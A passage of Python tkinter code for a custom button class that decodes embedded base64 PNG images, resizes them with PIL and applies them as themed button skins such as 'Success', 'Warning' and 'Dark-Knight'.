img10= base64.b64decode(pure)
img11= base64.b64decode(default)
img12= base64.b64decode(blue)
img13= base64.b64decode(midnight)
img14= base64.b64decode(darkknight)
img15= base64.b64decode(deepbluesea)
#img= Image.open(io.BytesIO(img))
img1= Image.open(io.BytesIO(img1))
img2= Image.open(io.BytesIO(img2))
img3= Image.open(io.BytesIO(img3))
img4= Image.open(io.BytesIO(img4))
img5= Image.open(io.BytesIO(img5))
img6= Image.open(io.BytesIO(img6))
img7= Image.open(io.BytesIO(img7))
img8= Image.open(io.BytesIO(img8))
img9= Image.open(io.BytesIO(img9))
img10= Image.open(io.BytesIO(img10))
img11= Image.open(io.BytesIO(img11))
img12= Image.open(io.BytesIO(img12))
img13= Image.open(io.BytesIO(img13))
img14= Image.open(io.BytesIO(img14))
img15= Image.open(io.BytesIO(img15))
#img= Image.open("ButDef.png")
#img= img.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
#Img= ImageTk.PhotoImage(img)
#img1=Image.open("ButMaceWindu.png")
img1= img1.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img1= ImageTk.PhotoImage(img1)
#img2= Image.open("ButYoda.png")
img2= img2.resize((75+len(see)*x,57+(y*i)),Image.ANTIALIAS)
Img2= ImageTk.PhotoImage(img2)
#img3= Image.open("ButInfo.png")
img3= img3.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img3= ImageTk.PhotoImage(img3)
#img4=Image.open("ButAlert.png")
img4= img4.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img4= ImageTk.PhotoImage(img4)
#img5=Image.open("ButBored.png")
img5= img5.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img5= ImageTk.PhotoImage(img5)
#img6=Image.open("ButCyan.png")
img6= img6.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img6= ImageTk.PhotoImage(img6)
#img7=Image.open("ButCartoonish.png")
img7= img7.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img7= ImageTk.PhotoImage(img7)
#img8=Image.open("ButDask.png")
img8= img8.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img8= ImageTk.PhotoImage(img8)
img9= img9.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img9= ImageTk.PhotoImage(img9)
img10= img10.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img10= ImageTk.PhotoImage(img10)
img11= img11.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img11= ImageTk.PhotoImage(img11)
img12= img12.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img12= ImageTk.PhotoImage(img12)
img13= img13.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img13= ImageTk.PhotoImage(img13)
img14= img14.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img14= ImageTk.PhotoImage(img14)
img14= img14.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img14= ImageTk.PhotoImage(img14)
img15= img15.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
Img15= ImageTk.PhotoImage(img15)
f= self.master['background']
if Blass=="Success":
self.configure(image= Img1,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img1)
elif Blass=="Warning" :
self.configure(image= Img2,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
#print(l)
if self['foreground']!="white":
self.configure(border=0,highlightbackground= self.master["bg"],bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img2)
#print(l)
elif Blass=="Alert":
self.configure(image= Img3,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img3)
elif Blass=="Cliche":
self.configure(image= Img4,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img4)
elif Blass=="Violet-ver":
self.configure(image=Img5,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img5)
elif Blass=="Pinky":
self.configure(image= Img6,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img6)
elif Blass=="Cyan":
self.configure(image= Img7,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img7)
elif Blass=="Info-Type":
self.configure(image= Img8,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img8)
elif Blass=="Golden":
self.configure(image= Img9,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img9)
elif Blass=="Pure":
self.configure(image= Img10,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img10)
elif Blass=="Default":
self.configure(image= Img11,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img11)
elif Blass=="Blue":
self.configure(image= Img12,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img12)
elif Blass=="MidNight":
self.configure(image= Img13,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,highlightbackground= self.master["bg"],bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img13)
elif Blass=="Dark-Knight":
self.configure(image= Img14,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img14)
elif Blass=="Deep-Blue-Sea":
self.configure(image= Img15,highlightbackground= self.master["bg"],border=0,bg=f ,activebackground=f,activeforeground="black", text=self['text'], compound= CENTER)
if self['foreground']!="white":
self.configure(border=0,bg=f ,activebackground=f,activeforeground="white", text=self['text'], compound= CENTER)
self.__lp.append(Img15)
self.after(10, self.dff)
class CustButton(tk.Button):
__lp= []
dirr= None
def dff(self):
if self['background']!= self.master['background'] or self['activebackground']!= self.master['background'] :
self.configure(bg= self.master['background'], activebackground= self.master['background'])
print("configuring colors of graphical-base64-based widgets is banned")
def Class(self,Blass="Default", x=40,y= 60):
global Img,Img1
global Img2,Img3
global Img4,Img5
global Img6,Img7
global Img8
global img,img1
global img2,img3
global img4,img5
global img6,img7
global img8
#wandi= ["ButDef.png","ButMaceWindu.png","ButYoda.png","ButInfo.png","ButAlert.png","ButBored.png","ButCyan.png","ButCartoonish.png","ButDask.png"]
butsus = b'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success= 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iDnTwAAAAA8281uXedjoWQBwAAAGAGlpKj63QshDwAAAAAs3FUrWMh5AEAAACYgU7IAwAAADD/BkIeAAAAgCYcWetYCHkAAAAAZmCQbK7TsRDyAAAAAMxAN68hT3njgzoFAAAAwE4eAAAAgCYIeQAAAAAacEitYyHkAQAAAJiBbsy5jJAHAAAAYAYGQh4AAACAJgh5AAAAABownyHPwCPUAQAAAL7Saq1jYScPAAAAwGzsr3UshDwAAAAAsyHkAQAAAGjAvlrHQsgDAAAAMBsHah0LIQ8AAADAbBxe61gIeQAAAABm4+hax0LIAwAAADAbdy9jMJqun5AHAAAAYAYGydJFyZa6XLdphjxjS6YAAAAAWnD0nIY8AAAAAHyFg8nd6nTdhDwAAAAAs3NEresm5AEAAACYkQ128gAAAADMv07IAwAAADD/OpdrAQAAAMy/peTwOl03IQ8AAADA7Bxa67oJeQAAAABmZy5DnkGtAAAAABRdckidrpudPAAAAAAzMhhjNiPkAQAAAJiRTsgDAAAA0ISx3d5GyAMAAADQACEPAAAAwIwMkgN1um5CHgAAAIAZ6dZ+xmOaIY9HqAMAAABMiJ08AAAAAA0Q8gAAAAA0QMgDAAAA0AAhDwAAAEADhDwAAAAADRDyAAAAADRAyAMAAADQACEPAAAAQAOEPAAAAAANmGbIM6gVAAAAgJGu1nWzkwcAAACgAUIeAAAAgAYIeQAAAAAaIOQBAAAAaICQBwAAAKABQh4AAACABgh5AAAAABowzZBnUCsAAAAAY2YnDwAAAEADhDwAAAAADRDyAAAAADRAyAMAAADQACEPAAAAQAOEPAAAAACz09W6blMLeco79gh1AAAAgAmxkwcAAACgAUIeAAAAgAYIeQAAAAAaIOQBAAAAaICQBwAAAKABQh4AAACABgh5AAAAABog5AEAAABogJAHAAAAoAFTC3kGaz8AAAAATIKdPAAAAAANEPIAAAAANEDIAwAAADAj3drPeAh5AAAAABog5AEAAABogJAHAAAAoAFCHgAAAIAGCHkAAAAAGjDNkGdQKwAAAABjZicPAAAAQAOEPAAAAAANEPIAAAAANEDIAwAAANAAIQ8AAABAA4Q8AAAAAA2YZsjjEeoAAAAAE2InDwAAAMCMLCVdna6bkAcAAACgAUIeAAAAgAYIeQAAAAAaIOQBAAAAaICQBwAAAKABQh4AAACABkwz5BnUCgAAAMCY2ckDAAAA0AAhDwAAAEADhDwAAAAADRDyAAAAADRAyAMAAADQACEPAAAAwOx0ta6bkAcAAACgAdMMeQa1AgAAADBmdvIAAAAANEDIAwAAANAAIQ8AAABAA4Q8AAAAAA0Q8gAAAAA0QMgDAAAA0IBphjweoQ4AAAAwIXbyAAAAADRAyAMAAADQACEPAAAAQAOEPAAAAAANEPIAAAAANEDIAwAAADA7Xa3rJuQBAAAAaICQBwAAAKABQh4AAACABgh5AAAAABowtZCnSwZ1